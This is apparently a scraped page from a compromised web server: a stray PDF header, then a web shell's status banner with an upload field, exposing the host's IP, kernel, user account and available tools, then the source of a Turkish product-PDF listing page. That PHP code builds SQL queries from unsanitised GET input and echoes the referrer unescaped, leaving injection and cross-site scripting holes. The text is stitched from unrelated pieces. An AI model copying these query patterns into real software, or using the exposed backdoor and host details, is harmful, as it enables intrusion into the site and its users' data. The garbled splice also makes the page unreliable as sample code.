%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.24 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/public_html/libraryForMobile/ |
Upload File : |
<?php
include '../lib/connection1.php';
// tbl_product_category tablosundan tüm verileri çekme
$sql = "SELECT * FROM tbl_product_category";
$result = $ceha->query($sql);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Variation Library</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="font-sans text-[#ACACAC]">
<div>
<div class="container mx-auto p-4 flex items-center justify-between">
<div class="backButton">
<a href="<?php echo $_SERVER['HTTP_REFERER']; ?>" class="flex items-center gap-2 text-black font-semibold text-[19px]">
<svg width="8" height="15" viewBox="0 0 8 15" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M7.13416 1.27907C7.13395 1.51866 7.0386 1.74836 6.86908 1.91767L2.24706 6.53968C2.10716 6.67955 1.99619 6.8456 1.92047 7.02836C1.84476 7.21112 1.80579 7.407 1.80579 7.60482C1.80579 7.80264 1.84476 7.99853 1.92047 8.18128C1.99619 8.36404 2.10716 8.53009 2.24706 8.66996L6.86305 13.289C7.02766 13.4594 7.11875 13.6877 7.11669 13.9246C7.11463 14.1616 7.01959 14.3882 6.85204 14.5558C6.68449 14.7233 6.45784 14.8183 6.2209 14.8204C5.98396 14.8225 5.75569 14.7314 5.58525 14.5668L0.969261 9.95137C0.348594 9.32948 1.00905e-05 8.48675 1.01673e-05 7.60813C1.02441e-05 6.72951 0.348594 5.88678 0.969262 5.2649L5.59128 0.642881C5.71748 0.516598 5.87826 0.430525 6.05333 0.395526C6.2284 0.360527 6.40991 0.378169 6.57497 0.446227C6.74002 0.514285 6.88122 0.629709 6.98074 0.777932C7.08026 0.926156 7.13364 1.10054 7.13416 1.27907Z" fill="#1F3663" />
</svg>
<div>
Geri
</div>
</a>
</div>
</div>
</div>
<div class="container mx-auto flex md:hidden w-full">
<div class="library flex flex-col items-center h-screen w-full">
<h3 class="flex justify-center w-full text-black font-semibold text-[19px]">
<?php
// varyastonun ID'sini alın
$variationProductId = $_GET['variationProductId'];
// varyastonun adını alın
$sql_variation = "SELECT * FROM tbl_product WHERE id = $variationProductId";
$result_variation = $ceha->query($sql_variation);
$row_variation = $result_variation->fetch_assoc();
echo $row_variation['title_tr'];
?>
</h3>
<div class="mainProduct grid grid-cols-3 mt-5">
<?php
// Ana ürünün ID'sini alın
$variationProductId = $_GET['variationProductId'];
// Alt ürünleri sorgulamak için gerekli SQL sorgusunu oluşturun
$sql_sub = "SELECT * FROM tbl_product_pdf WHERE product_id = $variationProductId";
// Sorguyu çalıştırın ve sonuçları alın
$result_sub = $ceha->query($sql_sub);
// Alt ürünleri listeleyin
if ($result_sub->num_rows > 0) {
while ($row_sub = $result_sub->fetch_assoc()) {
$pdfId = $row_sub['id'];
$pdfName = $row_sub['file_name'];
echo '<ul class="list-none p-0 w-full">';
echo '<a href="pdf-file.php?pdfId=' . $pdfId .'" class="">';
echo '<li class="flex items-center space-x-2 cursor-pointer py-2 w-[108px] h-[167px] flex-col items-center cols-span-1">';
echo '<span class="listItem text-xl">
<svg width="77" height="77" viewBox="0 0 77 77" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_0_528)">
<path d="M44.4979 22.6008V1.97059C47.416 3.07256 50.0665 4.78221 52.2737 6.9862L63.2639 17.9827C65.4704 20.1873 67.1814 22.8371 68.2827 25.7553H47.6524C46.8158 25.7553 46.0135 25.423 45.4219 24.8314C44.8303 24.2398 44.4979 23.4374 44.4979 22.6008ZM69.7337 33.5942V60.4545C69.7287 64.636 68.0654 68.6449 65.1086 71.6017C62.1518 74.5585 58.1429 76.2218 53.9614 76.2268H22.4166C18.2351 76.2218 14.2262 74.5585 11.2694 71.6017C8.31263 68.6449 6.6493 64.636 6.64429 60.4545V16.2919C6.6493 12.1103 8.31263 8.10149 11.2694 5.14468C14.2262 2.18787 18.2351 0.52454 22.4166 0.519531L36.6591 0.519531C37.1733 0.519531 37.6811 0.560539 38.189 0.595239V22.6008C38.189 25.1107 39.186 27.5177 40.9608 29.2925C42.7355 31.0672 45.1426 32.0642 47.6524 32.0642H69.658C69.6927 32.5721 69.7337 33.08 69.7337 33.5942ZM44.4979 60.4545C44.4979 59.6179 44.1656 58.8155 43.574 58.2239C42.9824 57.6324 42.1801 57.3 41.3435 57.3H25.5711C24.7345 57.3 23.9321 57.6324 23.3406 58.2239C22.749 58.8155 22.4166 59.6179 22.4166 60.4545C22.4166 61.2911 22.749 62.0935 23.3406 62.685C23.9321 63.2766 24.7345 63.609 25.5711 63.609H41.3435C42.1801 63.609 42.9824 63.2766 43.574 62.685C44.1656 62.0935 44.4979 61.2911 44.4979 60.4545ZM53.9614 47.8366C53.9614 47 53.629 46.1976 53.0374 45.6061C52.4459 45.0145 51.6435 44.6821 50.8069 44.6821H25.5711C24.7345 44.6821 23.9321 45.0145 23.3406 45.6061C22.749 46.1976 22.4166 47 22.4166 47.8366C22.4166 48.6732 22.749 49.4756 23.3406 50.0672C23.9321 50.6587 24.7345 50.9911 25.5711 50.9911H50.8069C51.6435 50.9911 52.4459 50.6587 53.0374 50.0672C53.629 49.4756 53.9614 48.6732 53.9614 47.8366Z" fill="#446DBB"/>
</g>
<defs>
<clipPath id="clip0_0_528">
<rect width="75.7073" height="75.7073" fill="white" transform="translate(0.335327 0.519775)"/>
</clipPath>
</defs>
</svg>
</span>';
echo '<span class="listItem font-semibold w-[100px] text-[#818181] text-center text-[15px]">' . $pdfName . '</span>';
echo '</li>';
echo '</a>';
echo '</ul>';
}
}
?>
</div>
</div>
</div>
<footer class="absolute bottom-[1rem] w-full">
<div class="flex justify-center">
<img src="../images/mobile-footer.png" alt="">
</div>
</footer>
</body>
</html>